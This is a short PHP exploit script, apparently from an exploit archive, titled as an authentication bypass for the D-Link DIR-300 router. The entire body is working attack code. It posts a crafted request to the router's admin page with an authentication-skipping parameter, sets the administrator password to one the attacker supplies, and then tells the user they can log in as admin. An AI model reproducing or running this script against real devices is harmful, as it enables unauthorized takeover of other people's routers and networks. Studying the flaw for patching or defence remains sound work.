D-Link DIR-300 Authentication Bypass

`<?php  
if(sizeof($argv)!=4) {  
echo "Usage: php5 $argv[0] <router ip addres> <port>  
<admin password>\n";  
exit;  
}  
$ch=curl_init();  
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_PORT, $argv[2]);  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch,  
CURLOPT_POSTFIELDS,"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));  
echo "+ starting request\n";  
$out = curl_exec($ch);  
if($out===false) {  
echo "- Error: could not connect (  
http://$argv[1]:$argv[2]/tools_admin.php).\n";  
exit;  
} else  
echo "+ request sended\n";  
curl_close($ch);  
if(stripos($out,"login.php")===true) {  
echo "- something goes wrong (check answer - answer.html) !\n";  
$f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);  
exit;  
}  
else  
echo "+ ok, now you can login using l: admin p:$argv[3]\n";  
?>  
`